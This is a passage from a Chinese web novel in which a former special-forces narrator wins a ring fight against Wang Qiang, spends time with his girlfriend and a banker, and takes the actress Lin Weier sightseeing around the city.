王蔷说起王猛的事,没有任何的情绪反应,只不过她接着说道:“不过,你打伤了我的兄弟,那些兄弟,是我带出来的兵!”
你带出来的兵?
我想了想明白了,这个王蔷应该是个练家子,然后那些打手是她专门训练出来的,一群手下,被我一个人打残,她当然不甘心了!
“然后呢?”我冷冷的问道。
“他们输给你,是他们技不如人,可他们是我带出来的,就算在废物,也轮不到你来教训!”
王蔷的脸上终于有了一丝的怒意!
“所以呢?”我问。
“所以我来找你,你赢了,这件事情点到为止,你输了,你得给我那些不成器的兵一个交待!”
058第一次打女人!
眼前的王蔷,就如同一只雌豹。
她拥有着美丽,又拥有着野性和危险。
我没有想到,她竟然为会手下的“兵”出头。
她今天来找我,是为了尊严而来,用我在以前不对的话来说,就是护犊子,王蔷的这种行为还挺对我们的胃口。
“跟我来。”
我淡淡说了一句,然后就走进了凡颜保镖公司。
既然王蔷也想要用武力来找回尊严,那我就给她这个机会,我也好就没有放肆的打一场了,就当给自己热热身。
我带她来到了训练场,这里有专门的拳击擂台,可以用作比武。
“就在这个拳台上打,一局定输赢!”我说道。
“可以。”
王蔷痛快的上了擂台,她站在中间,自带一种傲气,竟然有一种居高临下的俯视感。
别看你现在叫的欢,一会儿就让你拉清单!
只要上了比武场,我是不分男女,一律痛揍。
圣母心?没有。
怜香惜玉?没有。
我陈凡走到今天,出生入死,凭的就是一个狠劲儿!
我干脆利落的脱下西装外套,随手仍在了一旁的沙发上。
我言简意赅道:“规则你定。”
王蔷的眼中闪过一丝的诧异,她可能没想到我会让她提出规则,只不过那抹诧异随即被战意给取代。
我并不重视规则,因为在绝对的实力面前,这些规则形同虚设。
“很简单,谁被打下擂台,谁就输了!”王蔷也干脆的说道。
“行,可以!”
我点了点头,废话不多说,直接跳上了擂台。
就在我的双脚刚落地的时候,王蔷身体动了,她以极快的速度向我发动了攻击,她没有任何的预兆,她的动作快如闪电,根本不像一个女人,倒像是一个训练有数的士兵!
呼!
王蔷一记凌厉的手刀,向我的脖颈劈来,她速度极快,都能听到呼呼的风声。
速度够快,角度刁钻,下手狠辣!
好!很好!
看来是我刚才小看了王蔷,没想到这女人真有点本事。
我眼神一冷,不闪不避,左手犹如铁臂一般向上格挡!
啪!
两条手臂碰撞,发出沉闷的撞击声,王蔷的力道很大,我的左臂有些微微的发麻。
一击不中!
王蔷眼神瞬间变得狠辣,她马上变招,手刀化爪,她五指如钩,反向扣向我的手腕关节,同时,她一招蝎子摆尾,她的右腿踢向了我的膝关节。
我冷冷一笑,王蔷擒拿与腿法相结合,攻势不断!
我马上身体微侧,避开她的擒拿,然后右腿迅速抬起,以更快、更狠的力量,迎接她的小腿!
砰!
又是一声沉闷的响声,王蔷脸上巨变,她身体连着后退了几步,她在看向我的眼神里,少了几分轻视,多了几分凝重。
“有点意思!”
王蔷舔了舔干涩的嘴唇,她的动作带着一种野性的美感,就如同一只美人豹。
“可你太差了!”我甩了甩手,无所谓道:“怪不得你的手下那么菜,看来是师傅功夫也不怎么样。”
也许在常人眼中,王蔷的身手、腿法、速度,都很犀利,可在我这个特种兵王的面前,打她,就跟砍瓜切菜一样,就看我想玩她到什么时候。
我故意的嘲讽,果然激怒了王蔷,她没有多余的废话,直接再一次冲向了我。
拳、脚、肘、膝!
王蔷将她能用到的招式全部都使了出来,可她却未能伤到我分毫!
在直白点,她连我的身都近不了!
王蔷的攻击虽然凌厉刁钻,可我的战斗技巧是在无数次生死边缘磨砺出来的,我的每一招都凶狠无比,直击要害!
一方小小的擂台,迸发出各种击打的声音,王蔷一次次的被我揍翻在地,可她却一次次的爬了起来。
血。
一滴滴的落在擂台上。
王蔷的嘴角在不停的渗血,她的左臂不自然的下垂,显然是在和我交手中,受了伤。
在看看我,我的白衬衫,一点痕迹都没有,也就是说这几次交锋下来,王蔷都没有伤到我。
胜负高下立判!
“陈凡,你很强……”王蔷抹了抹嘴角,看向我的眼神里,满是不甘道:“你比我想象中的还要厉害……”
“可是你很菜。”我一副无所谓道:“菜就多练练。”
我故意拍了拍自己的衬衫,说道:“你不用瞪我,你连我的衣服都没碰到,这场比武,你已经输了。”
“还没有!”
王蔷攥紧双拳,她的吼声多半源于不甘心,就如同一只发怒的母豹!
我抬起头,看着王蔷,发现她和刚才不一样了,她彻底被我激怒,她的眼神变的无比的锐利,就如同一把即将射出的弓箭!
她深吸一口气,屏住了呼吸,她的身体微微的下蹲,摆出了一个我从未见过的起手式,她整个人的气势骤然提升!
我心想:她这是要用绝招了?
就在我迟疑的那一刻!
王蔷率先发动攻击,她速度极快,动作迅猛,如同一只扑食的洪荒猛兽!
我眼神一冷,瞬间全身的肌肉绷紧!
我的注意力都聚焦在了王蔷的身上!
擂台上的气愤顿时紧张到了极点!
能不能打服王蔷,就在这一瞬间!
不对劲儿!
我忽然察觉出来,王蔷的这一招竟然是杀招!
但我并没有选择后退或者闪躲,我选择了进攻,最强的防守就是进攻!
我右手五指并拢为刀,直接她的最柔弱的地方,膝关节的韧带!
这招不是致命攻击,可却能最快最迅速的化解王蔷的进攻杀招。
王蔷没有想到我会攻击她的韧带!
呃!
她闷哼一声,支撑腿一软,整条右腿在我的攻击下,传来了阵阵的痛感,她的动作不在连贯,甚至开始出现了停顿!
高手相争,就在瞬间!
短短一秒钟的停顿,对我来说就够了!
我利用这个机会,我右腿以一个极其刁钻的角度,给王蔷来了一记势大力沉的扫踢,踢的正是她出现停顿的那条腿!
砰!
结结实实的一个撞击声!
王蔷在也无法支撑自己的身体,她整个人被我这一击踢的离地而起,向着擂台外重重摔去!
她躺在地板上,试图想要起身,可腿上传来的剧痛,让她无法动弹,她只能用一只手臂支撑身体,不让自己趴下,就好像在支撑着自己的尊严。
我走到她面前,不说话,就居高临下的看着她。
她抬起头,用手使劲儿擦了擦自己嘴角的血,动作依然有股子倔强和野性。
有意思!
被打还不服输的女人,我第一次遇到,于是我玩味道:“怎样?还玩么?”
059你赢了!
“你赢了……”
王蔷用手拄着地,尽量不让自己的身体趴在地上,她声音沙哑,没有不服,没有狡辩,只有失败者的坦然,这份干脆,让我对她高看了一眼。
“你最后用的这个绝招,是什么?”我有些好奇的问道。
“没什么,自己研究的。”
王蔷没有告诉我,她挣扎着想要站起来,可腿上的伤,却又让她跌坐回原地。
我看着她那副认真与自己较劲的模样,有点想笑。
于是我向她伸出了手。
她愣了一下,然后抬起头,看了看我,又看了看她自己的腿,然后选择了妥协,她抓住了我的手,借着我的力量,站了起来。
“能走么?”我问。
王蔷艰难的点了点头,于是我放开了手。
啊呀!
腿上传来的痛感,让王蔷的双腿很难支撑身体,眼看着她又要跌回地上,我瞬间伸手抓住了她的胳膊,将她扶住。
“我可能得缓一会儿……”
王蔷憋的脸色通红,她说话的时候,故意把头低下,她可能是有些不好意思。
我点了点头,然后将她服到沙发上,道:“你的腿,没有断,只是被我踢的暂时性麻痹而已。”
“没关系,练武之人,受伤在所难免。”王蔷抬起头,欲言又止道:“有酒么?”
“有,你要?”我问。
“来一杯吧,有点疼。”
我去酒柜前,拿了一瓶白酒,然后递给了王蔷,我知道,这是王蔷缓解疼痛的办法。
王蔷没有客气,她结果白酒,直接仰头就灌了一口,几口白酒下肚,她苍白的脸色上,总算是有了一丝的血色。
没多一会儿,三分之一的白酒,就进了王蔷的肚子,她的额头上也逐渐冒出了汗。
“按照比武前的约定,你弟弟的事情,就到此为止。”
我率先打破了沉默,王猛这个事儿,在我这里都不算个事儿。更何况王蔷这种愿赌服输,毫不做作的性格,并不讨厌。
真小人和伪君子,我更喜欢真小人。
王蔷握紧白酒瓶子的手,忽然松了一下,她点了点头:“愿赌服输,来之前,我就知道,我可能不是你的对手,不过,我还是想看看,巷战1V20的人究竟有多猛!”
呵呵……
我冷笑了一声,然后掏出了一个烟,自顾自的抽起来了。
“现在看到了?”我抽了口烟,问道。
“看到了……”王蔷点了点头,她非但没有失败者的落寞,反而眼中冒出了崇拜的光亮,她言谈举止中,甚至有些兴奋,道:“太爽了,比我想象中的要带劲儿!”
噗!
我被王蔷的话给逗笑了,我指了指她的腿,道:“你的腿都这样了,还带劲儿?”
“当然!”王蔷喝了一口酒,道:“能和高手过招,我求之不得。”
王蔷的评价算是对我一种极高的赞誉。
我听着心里也挺舒爽,这个王蔷有点意思,至少她一点都不让我讨厌,相反,我还有点敬佩她了。
一个女孩子,能坦然接受自己的失败,并且能称赞对手的伟大,光是这点,就值得我竖个大拇指给她。
“你也不错,你的格斗技巧在女子当中,也算是很不错了!”我真心的说道。
她摆了摆手,自嘲一笑:“不用安慰我了,我几斤几两,我自己心里有数,输了就是输了。”
“不过……”王蔷忽然抬起头,她的眼神像是看到希望一样,她兴奋道:“陈凡,我不会一直输给你的,下次,我一定要赢你!”
还有下次?
呵呵……
王蔷是拿我当陪练了?
“可以,我随时恭候。”我笑了笑。
“我该走了……”王蔷扶着沙发,勉强的站起了身。
“我送你?”我随口问了一句。
“不用。”
王蔷拒绝的很干脆,她一瘸一拐的走向了门口,尽管这场比试,她输给了我,可她却让我记住了她,这个像母豹一样的女人。
走到门口,王蔷忽然停住了脚步,她扶着门框,回头,对我说了一句。
“陈凡,我们……后会有期……”
后会有期?!
王蔷还真想没事就找我打一场?
看她那武痴的样子,极有可能干的出来。
王蔷的出现,对我来说也算是一件好事,自从我回到海城以后,就一直忙碌,身体都没有得到锻炼,打上一架,我顿时觉得神清气爽。
“老公,我现在在回家的路上,你要不要来?”
我的手机微信,收到了夏颜的信息。
我看了看时间,不过才是下午四点,她就下班了?
“你这么早下班?”我好奇的问了一句。
平时夏颜都是加班狂魔,不到六点,是不会回家的。
“我晚上七点的飞机,要去出差,我可是抽空预留三个小时陪你呦~~~”
夏颜连着发出了三个害羞的小表情,她什么意思,我当然是知道的。
“我现在就回去!”
“那我们就看看谁先到家,输的那个人,要给赢的那个人当搓澡工~”
夏颜又连着发了三个调皮的小表情,我偏偏就喜欢她跟我胡闹。
我开车回到家,发现夏颜的宾利早就停在楼下了,周大伟正靠在车前抽烟。
我走了过去。
周大伟看到是我,马上将烟掐灭,然后跟我打招呼。
“班长……”
“大伟,这些天辛苦你了,公司的事情都已经办好了,给你留了单独的办公室,还有这台坦克300,也是公司给你的配车。”
我将坦克300的车钥匙,放在了周大伟的手里。
“这……”
周大伟看着手里的车钥匙,竟一时说不出来话。
“班长,我在你这里干活,吃你的,住你的,花你的,你还给我配车……我……”
我知道周大伟的心情,他过惯了穷日子,忽然间有了车,有了钱,他还有点不适应。
我一把搂住他的肩膀说道:“兄弟,还记得咱当年的誓言吗?有福同享有难同当!”
周大伟狠狠的点了点头!
我拍了拍他的肩膀,笑着道:“好好干,咱兄弟好日子在后头呢!”
“好!”
周大伟小心翼翼的将车钥匙放进了衣服口袋。
“你嫂子去出差,你就全程跟着。”我吩咐道。
“知道!”
周大伟挺直了身板,向我保证。
我拍了拍他的肩膀,然后就去找夏颜。
好久没回家了,一推开家门,就有一种温馨熟悉的感觉扑面而来,这种感觉应该就叫归属感。
忽然,一只手从门后伸了过来。
然后蒙住了我的眼睛。
“坏蛋,猜猜我是谁?”
060苏婉情的邀约!
我摸着夏颜的纤细柔软的玉手,道:“是小丽么?”
“哼!”我背后传来夏颜一阵冷哼的声音,不过转眼之间,她就娇滴滴的问我:“你这么想小丽,你喜欢小丽什么啊?”
我知道这是夏颜在和我演戏,我当然要进入角色。
“我啊,喜欢小丽的善解人意,温柔似水,给我揉肩捶背的感觉。”
“你说的揉肩捶背是这样么?”
夏颜双手轻轻的揉捏我的肩膀,她手上传来的柔软细腻,让我心旷神怡。
我享受夏颜带给我的感受,高冷女总裁,性感女友。
光是这几个词汇,就足以让我兴奋。
忽然,夏颜绕到我的胸前,她整个人埋入我的怀里。
“老公,我要出差半个月,你会不会很想我啊?”
“怎么?伤感了?”我摸了摸她的头问道。
这还是我和夏颜在一起后,第一次分开这么长的时间,她对我有依赖也属正常。
夏颜抬起头,眼眶红红的看着我,委屈巴巴道:“人家要是想你了怎么办?想要你搂着睡觉怎么办?”
“那我就飞过去呗。”我笑了笑。
“这还差不多。”夏颜踮起脚尖,然后吧嗒在我脸上亲了一口道:“我给你买了许多睡衣,你每天都要拍个小视频给我看呦!”
说着,夏颜还指了指沙发上,我抬眼看过去,沙发上已经摆满了一排,夏颜把市面上能买的都买来了。
“老公,时间宝贵,你要好好珍惜我啊!”
夏颜在我耳边轻声的说着,我当然知道她什么意思,我紧紧的抱着她,然后去往卧室……
直到关上房门的那一刻,我才知道,我倒进了温柔乡里……
缠绵过后。
我吸着烟,夏颜则坐在梳妆台前画着妆,因为她要赶飞机。
“这次去出差,我让周大伟陪着你。”我走到夏颜的伸手,摸了摸她的秀发,道:“度假区这边我需要看着,等忙完了,以后你出差,我都陪着你。”
夏颜手中的眉笔停顿了一下,她温柔的看着我:“嗯,有你在,我就安心。”
我在夏颜的额头上亲吻了一下,然后帮她拖着行李箱,直到将她送上了飞机。
当飞机从我头顶略过的那一瞬间,我用手机抓拍下来了这一幕,然后发给了夏颜。
“等你回来……”
“爱你。”
这期间,我拥有过不少女人,可在我心里第一位的,只有夏颜。
因为我知道,只有她,是在我一无所有的时候,选择了我。
这份真诚、勇敢、我会一直珍惜。
我独自开车在海城的城市,我并没有回到家里,只剩我一个人,我觉得会有些孤独。
我开着车窗,吸着烟,看着街边闪烁的霓虹灯,还有来来往往的人群,我在想,今夜去哪里过夜?
滴滴……
我的手机振动,我拿起来一看,是苏婉情发来的信息。
“吃饭了?要不要一起?”
我看后,调转了方向,驶向了苏婉情的家。
我心想:这个女人,今夜是不会放过我的。
苏婉情,一个温柔的野心家。
在开车的时候,我就已经设想到了,苏婉情她企图行长的位置,企图凡颜的贷款,现在她企图得到我。
苏婉情,她早早的就站在家门口等着我。
当我出现的那一刻,她蹲下身子,亲自为我换鞋。
今天的她没有穿旗袍,她上半身穿着白色鸡心领的T恤,下半身她穿着蓝色的包臀裙,很知性的打扮。
她温柔的将我的鞋子脱下,然后为我穿上拖鞋。
我很享受苏婉情对我的照顾,她给了我帝王般的待遇,这就是我为什么愿意来她这里的原因。
“我看你最近很忙,顾不上吃晚饭,所以特意做了一桌子菜,想和你共进晚餐。”
苏婉情很自然地拉着我的手,将我拉进了餐厅。
我看到饭桌上摆满的六样精致小菜,我笑着说道:“没想到苏行长,手艺这么棒?”
苏婉情娇嗔道:“不要叫我苏行长,不然我还以为是在单位呢?”
“哦?那我喊你什么好啊?”我明知故问。
“你就喊我的名字就好了。”
“小苏?”我问。
“讨厌~”苏婉情娇嗔道:“这下更像是在单位了,我好像你的同事。”
“那我就勉为其难的喊你婉情好了。”
苏婉情的脸上这才展露出笑颜,她的柔情就如同春风,吹拂着整间屋子。
我看着那满桌精致的小菜,道:“其实你不用这样的。”
她摆放餐盒的手微微停顿一下,随即抬起头,对着露出一个很甜的笑容:“我想这样,不行么?给你做饭,看你吃饭,我就很开心。”
她盛了半碗饭,放到了我的面前,道:“陈凡,我知道你很强,什么都不怕,但是……在强的人,也需要吃饭,需要……被人关心的吧?”
苏婉情的话很轻,却像一颗小石头,扔进了我的心里。
我没有再说什么,端起饭碗就开始吃。
苏婉情她双手拖着下巴,眼睛一眨不眨的看着我,她问:“味道怎么样?”
“你的手艺真棒!”
我没有可以夸赞,苏婉情的手艺确实很棒。
苏婉情还特意拿出来一瓶茅台,我们两个人小酌了几杯,几杯白酒下肚,苏婉情的脸上爬满了红晕。
在灯光的照耀下,她看起来美极了。
吃完饭,她刚要收拾餐盒,我便从背后抱住了她,道:“先干点正事,不要收拾了……
061约会约会!
苏婉情的娇嫩的脸蛋,瞬间红润。
她害羞的低下了头,尽管我们已经有了肌肤之亲,她见到我的时候,还是会羞涩。
苏婉情越是害羞,我就越是喜欢,因为她害羞的样子,格外有情调,她就是那种江南水乡的女子。
“陈凡,我有事想和你商量一下。”苏婉情靠在我的怀里,她的手轻柔的握着我的胳膊。
“什么事?”我将头靠在苏婉情的肩膀上,问道。
“我们银行要举行一个晚宴,会邀请银行的合作伙伴来参加,我想邀请你来,可以么?”
苏婉情近乎恳求的语气,她并没有给我太多的压力,这让我很舒服。
像这种商业宴会,在商场很常见,我也应该多去参加一下,好和海城的富商们打打交道。
“没问题。”
“太好了,谢谢你!”
苏婉情转过身投入了我的怀抱,我抱着她,走向了卧室。
“等一下。”苏婉情忽然喊住了我。
“怎么了?”我好奇的问了一句。
苏婉情笑而不语,她走到自己的包包面前,拿出了一个香薰,然后回到卧室,点燃。
卧室里顿时徐徐飘香,香味中,带着一种宁静安神的作用。
“那晚,我见你总是睡不踏实,就买了个香薰给你助眠用。”
苏婉情说到那晚两个字的时候,声音自动变小,可能她有些不好意思。
不得不说,我确实是很吃苏婉情这一套,她在哄男人方面确实有手段。
暖黄色的烛光跳跃着,让苏婉情的侧脸在烛光下尽显温柔。
我看着苏婉情忙前忙后,尽心的服侍我,我对她的看法有了一些改观。
我知道,她是在用她的方式,试图靠近我、温暖我。
就这样,气氛越来越暧昧,越来越温暖。
她脱下了职业套装,换好了睡衣,主动钻进了我的怀里……
一夜的温柔,卷走了所有的疲惫。
当我早上睡醒后,苏婉情已经不在家了,她应该是去上班了。
我看了看手表,已经快十点了。
我走出卧室,在餐厅里,她给我留了一张便条:早饭给你做好了,在锅里。
我独自一个人,享受着苏婉情的手艺。
尽管只有两个小炒菜,可她的摆盘还是很精致,炒个菜都这么用心,苏婉情做什么事情不会成功?
当我从苏婉情家中出来,已经是中午了。
滴滴!
我的微信语音电话提示声响起。
是林薇儿?
我接起语音,微信那边传来一声清脆悦耳的声音。
“哥哥!”
国民妹妹林薇儿这声哥哥叫的特别的甜,直接喊到我的心窝上了,这就是大明星的魅力。
“哥哥,你今天有时间么?你说过要给我当导游陪我玩的啊!”
林薇儿的声音忽然压低,我知道,她肯定是背着她的经纪团队偷偷的给我打电话。
我脑海中立刻浮现出,林薇儿那天头戴鸭舌帽,可爱的青春模样。
“有时间,你在哪?”我问道。
“我现在在酒店,你要来接我吗?”林薇儿焦急的问道。
“可以。”
“那我发地址给你!”林薇儿开心的不得了。
她和我聊天基本上都是秒回,可见她是有多需要一个导游。
我得到地址后,就开车前往,林薇儿特别提醒,让我不要走正门,她在酒店的后门等我。
我知道,她是怕狗仔队偷拍到她,毕竟像她这样的大明星,走到哪里都会成为焦点,引起轰动。
林薇儿今天穿的很简单,穿着一件白色的修身T恤,搭配一条浅色的牛仔裤,脚上穿着一双帆布鞋,头发扎成了一个马尾。
她今天的打扮不像是大明星,反倒是像个刚出门的大学生。
看到我的车,她兴奋的一路小跑过来,她自然的拉来车门,上车,系好安全带。
“哥哥~嘿嘿~”
林薇儿双手放在膝盖上,一脸规规矩矩的样子,可脸上抑制不住的兴奋。
“怎么?见到我就高兴?”我半开玩笑问。
“当然啦,见到哥哥你,我就自由了!”
林薇儿举起双手,高呼自由!
她的模样,把我逗笑了!
我转而一问,道:“你该不会又偷偷跑出来了?”
“没有啊!”林薇儿摇了摇头,认真道:“我这次给刘姐留字条了,我说和陈凡哥哥出去玩,晚点回来。”
无语子!
这小丫头,就这样把我给卖了,估计那个刘姐在心里要骂我好几遍了。
“想去哪玩?”我问。
“哪都行啊!”林薇儿翻了翻手机,道:“其实不用去那种名贵的地方,我听说海城的老街巷比较有味道,可以带我去看看么?”
我微微一笑,这丫头,要求还不是很高,不过想想也是,她一个大明星,什么酒店没住过,反倒是这种烟火气息的老街巷,她不常去。
我发动车子,往海城的老街巷开去。
“你就不怕被人认出来?”我担心的道:“毕竟老街巷的人还挺多的。”
“不怕!”林薇儿说着从口袋里拿出了一个口罩,认认真真的戴好,她还特意照了照镜子。
“如果我不说我是林薇儿,哥哥你能认出我来吗?”林薇儿一脸认真的看着我。
“认不出来……”
“耶!易容成功!”
“那我今天要吃好吃的,还要玩好玩的……”
林薇儿掰着手指头,一个一个数着,她没有一点大明星的架子,像个邻家小妹一样,俏皮可爱。
我带着她去海城的老街巷,这里没有大城市CBD的豪华,只有斑驳的墙面,随处可见的晾晒衣物,还有坐在门口摇着扇子的老人和追逐打闹的孩子。
“你怎么喜欢这里?”我问。
“最近有一部年代戏要去进组了,想着来找找感觉啊!”
林薇儿小声的在我跟前嘀咕着,她的眼睛时不时的四处观看,像是画家在采风。
“哥哥,你看,那有一只小花猫!”
林薇儿一脸兴奋,她蹑手蹑脚的走过去,她学着猫叫,试图引起花猫的注意,可那只猫理都不理,翻了个身,继续晒太阳。
林薇儿嘿嘿一笑,也不生气,她拿着手机对着猫就是一顿拍。
阳光洒在她的身上,勾勒出一层毛茸茸的金边,那一刻,她身上没有明星的影子,有的只是热爱生活、内心柔软的女孩……
062可爱的林薇儿!
林薇儿喜欢逛着老街,我就陪着她走街串巷。
她走走停停、自娱自乐,玩的不亦乐乎。
穿过一条老街,就是一条林荫小路,路两旁种满了树,这些树木长的粗壮茂密,遮挡住了夏日的烈焰,林薇儿忽然牵住了我的手。
我微微一愣,望向她,这个举动对于我和她来说,都过于亲密了。
“哥哥,这条路很浪漫,我想和你手牵手一起走。”
“好。”
我握紧了她的手,我们两个人漫步在树荫之下,她偶尔会闭上眼睛,深呼吸,感受这里的新鲜空气。
“怎么忽然和我牵手了?”我语气温和。
“就是觉的这里的树木很有生命力,很有能量,想要和你分享,我会很开心。”
林薇儿虽然带着口罩,但我能感知到,她口罩下应该是一个温和的笑脸。
“你总是很开心的样子。”
“也不是呀,我只有和你出来玩的时候,才放松自由。”
“那你平时不开心?”
“谁工作的时候会开心啊!真的不喜欢唉,而且还要陪……”
林薇儿的忽然停顿了一下,她叹了一口气,整个人情绪有些不太对。
“怎么了?”
“啊,没什么,哥哥,我饿了,我们去吃点饭吧。”
林薇儿见我追问,她敷衍了几句,然后马上转移了话题。
因为林薇儿身份的原因,我并没有带她去人多的地方吃饭,而是找了一家我经常去的老餐馆,我还特意点了一个包房。
林薇儿摘下口罩,深呼吸一口,笑容绽放:“终于可以不用带口罩了,终于可以不闷了!”
“看看吧,吃点什么菜!”
我将菜单递了过去,林薇儿看到上面写的家常菜,眼睛放光。
“哥哥,这些菜,我都想尝尝可以么?”
“当然没问题,你随便点!”
于是林薇儿飞快的在菜单上比划:“我要这个这个还有这个!”
林薇儿一口气点了六个菜,她一边吃饭的时候一边夸赞道:“没想到这些家常菜这么好吃,比剧组的盒饭强一百倍!”
“一百倍?有那么夸张么?”我笑着问道:“再说,以你现在的咖位还会吃盒饭吗?”
“哥哥!”林薇儿伸出了一根手指,道:“我也是从新手村出来的啊,没少吃剧组盒饭!”
林薇儿的话算是提醒我了,她童星出道,应该也是吃了不少苦的,成名的道路上,哪有什么一帆风顺?
吃饭的间隙,林薇儿接到了经纪人刘姐的电话。
她马上语气乖巧道:“刘姐我在外面逛街你放心好了,很安全的,是的,陈凡哥哥一直陪着我。”
我喝着啤酒,她的话我都听了进去。
“嗯嗯,我不会让人看出来的,啊?晚宴啊?我不是很想去……好吧,那到时候再说吧……”
林薇儿的眼色有些暗淡,可那种失落的神情,转瞬即逝。
林薇儿工作上的事情,我也不方便细问。
“你的经纪人,好像很关心你。”我说。
“唉……”她叹了一口气道:“刘姐是怕我出来闯祸。”
“你看起来很乖,不像是能闯祸的样子。”我笑了笑说。
林薇儿低下头,用筷子戳了戳碗里的饭,说道:“其实,我有时候也挺羡慕那些自由自在逛街的人,当了演员,好像连最基本的普通生活,都成了一种奢望。”
她的语气里,带着一丝丝与她年龄里不符合的淡淡落寞。
“可是,你也收获了一大批喜欢你的粉丝。”
“是么?”她微微一笑,神色淡然,她看向窗外,忽然眼睛放光,道:“哥哥,我想和你玩那个!”
我看了一眼窗外,笑着道:“没问题。”
于是她拉着我的手,飞奔下楼,这就是林薇儿的性格,爽快,直接,我很喜欢。
我们跑出餐馆,在江边租了一辆双人自行车,林薇儿付了钱,她说她要请我玩。
江风扶面,空气中吹来了一丝江水的微凉,林薇儿将长长的秀发扎成了一个马尾辫,她在前面踩着脚踏板,还是不是回头的看着我,她笑容灿烂,嘴里哼着不知名的小调。
夏日、阳光、江边、她。
这一切既温柔又灿烂。
骑累了,我们两个人就坐在江边的长椅上休息。
她拿出一瓶矿泉水,拧开,然后递给了我。
“哥哥,谢谢你,今天是我来到海城……不,应该是我这几年最开心的一天!”
“真的?”我喝了一口水,望着眼前平稳的江面,那湖水波光粼粼,让我短暂的忘却了商场的尔无我诈,勾心斗角。
“真的!”
林薇儿转过头,她眼神清澈见底,她认认真真道:“不用去应付那些无聊的应酬,不用小心翼翼的说话,不用在意别人的眼光,现在这样……就像是偷来的时光一样!”
她顿了顿,然后笑着问我:“哥哥,你明天还有空么?”
我看着她阳光下映照的完美侧脸,她的那双眼睛里写满了期待。
我点了点头。
“太好了,那我明天还要约你呦!”
她的脸上绽放出比晚霞还要灿烂的笑容。
我们两个人一直玩,玩到了晚上,大概是她累了,送她回酒店的时候,她躺在副驾驶上面睡着了,甚至还会轻轻的发出一丝丝的鼾声,有些可爱。
我看着她,她的眼睫毛长长的像个小扇子,在她的眼睑下有淡淡的投影,她呼吸均匀,睡颜恬静,乖巧的就像是个孩子。
在这个圈子里,她能保持这份纯粹和善良,实属不易,林薇儿就像是一颗未经雕琢的水晶,折射着这个世界的原本应有的美好。
将她送到酒店的后门,她还没有睡醒,我轻轻捏了捏她的脸颊,她揉了揉睡眼惺忪的眼睛,脸颊上还带着睡痕。
“哥哥,明天见!”
林薇儿欢快的跳下车,她还不忘回头对我说:“明天我还要找你玩!”
“好!”我冲她挥了挥手。
看着她蹦蹦跳跳走进酒店的身影,我忽然想起了自己上学时候的光景,那时候,我也这样单纯,在林薇儿的身上,我仿佛看见了年少时候的自己。
也许,陪她玩这两天,是一个很好的决定。
我甚至开始期待明天的约会了……
063娱乐圈潜规则(上)
第二天。
我按照和林薇儿的约定,准时的来到酒店后门,接她。
看见我的车后,她欢快的向我跑过来,脸上挂着掩饰不住的喜悦和兴奋。
“哥哥,早呀!”
她一上车,就笑着和我打招呼,今天的她换了一身衣服,她今天的头发梳起了一个鱼骨辫,比昨天活泼灵动了不少。
我朝她笑了笑:“今天想去哪儿?”
“哥哥,我昨晚回去做了功课!”林薇儿献宝似的拿出手机,然后指给我看:“去这个吧!海城新建的摩天轮,听说晚上夜景超美的!”
“还有这个,新建的文创街区,里面的手工小店应该很好玩!”
我笑了笑,林薇儿说的这些都是女孩子喜欢的东西。
她的眼睛亮闪闪的看着我,就如同夜空中最美的星星。
她的快乐,也感染了我。
“那第一站?你想先去哪里?”我问。
林薇儿戴好了口罩,她伸出手指,指了指远方:“先去摩天轮,我要和你一起云游太空!”
哈哈!
我忍不住笑出了声,坐个摩天轮就是云游太空?这小丫头,想法可太奇妙了。
我开车带着她去摩天轮,因为是新建的,在加上工作日,景区的人不算多,我们从买票到坐上,不过才花了几分钟。
当摩天轮徐徐上升,海城的景色逐渐在脚下铺陈开来,林薇儿兴奋的趴在了窗户上,她指着下面的街景和建筑:“这个是我们昨天去过的餐馆,那个江边,是我们骑自行车的地方。”
“哥哥,你快看,这里都能看到哇!”
林薇儿回头对着我笑,笑容不掺杂一丝杂质,阳光透过玻璃洒在她的脸上。
这一刻,我竟然有一种岁月静好的恍惚感。
当摩天轮升到最高点的时候,整个海城的景色尽收眼底,林薇儿站了起来,她已经不满足趴在窗户上看了。
她看着窗外宽阔的景色,感慨道:“真美啊!感觉所有的烦恼,在这么高的地方都会变的渺小。”
她的语气里带着一丝不易察觉的向往,还有一丝不符合她年龄的老气横秋。
“如果你喜欢,以后可以经常带你来。”我随口说道。
“真的吗?”她回头看着我,眼神放光!
“真的!”我认真的点头。
“太好了!我也有玩伴了,现在我宣布,哥哥,你是我最好的朋友!”
最好的朋友?
“你没有其他朋友么?”我试探性问。
林薇儿摇了摇头,在我们这个圈子,哪有什么真心朋友啊,我原来也有朋友,都是上学时候的,可是后来我进了演艺圈,朋友们也都远离我了。
嫉妒。
赤裸裸的嫉妒。
林薇儿眼神里的光逐渐的暗淡下去,她无所谓道:“不过也没关系,现在我也有了新朋友了,一切都要重新开始不是么!”
“你还挺想的开的。”
“当然,在这个圈子里工作,想不开的话,就真的会死没活路了。”
摩天轮慢慢下降,我和林薇儿下来后,她想要去逛逛文创店。
我们走进了景区的文创店,这里有手工饰品、原创服饰、香薰蜡烛,各种盲盒,所有小玩意应有尽有。
林薇儿一进去就像是来到了游乐园,她乐此不疲的试着各种小商品,她拿着一个香薰闻了闻,然后递到我的面前:“哥哥,这个味道好好闻!我要送给你!”
“为什么要送给我?”我故意问道。
“当然是让你一闻到这个味道,就会想起薇儿啊!”
哎呦,林薇儿吓的捂住了嘴巴,她说出了自己的名字,生怕被人听到,好在现在这里的人很少。
林薇儿挑了很多女孩子喜欢的东西,她笑着说:“都挑花眼了,这不知道买哪个好了。”
“喜欢,就都买了!”我朝着老板说道:“老板,刚才她看上的所有东西,都打包!”
“好!”老板乐哈哈的说。
林薇儿看着我,又看了看手里装满礼物的袋子,她眼睛微红,低下头:“哥哥,你对我真好!”
她说这番话的时候真心实意,我的心中能感受的到。
逛完文创店,林薇儿肚子有些饿,我们两个人找了一个西餐厅,她点了一份意大利面,只不过和昨天大快朵颐相比,今天她吃的很慢,看起来似乎有些心事。
“怎么了?”我关心的问。
她抬起头,露出一个笑容,道:“没什么,就是感觉有点累了。”
我知道她没有说真话,但我也没有问。
饭后,我们两个人沿着景区的林荫路散步,树影斑驳,微风和煦,林薇儿走在我的我身边,怀里抱着我给她买的礼物,她嘴角带着浅浅的笑意,似乎很享受这种宁静。
就在这时候,她手机不适时宜的响了起来。
她看了一眼,脸色瞬间变了,那是一种紧张、恐惧和无奈的表情。
她看了我一眼,带着一丝丝的歉意,跑到一边接电话。
“王姐……”她的声音压的很低很低,似乎有一种讨好的意思。
我听不到电话那头说什么,但我能看到,林薇儿眉头紧皱,她握着手机的手指抠的微微泛白。
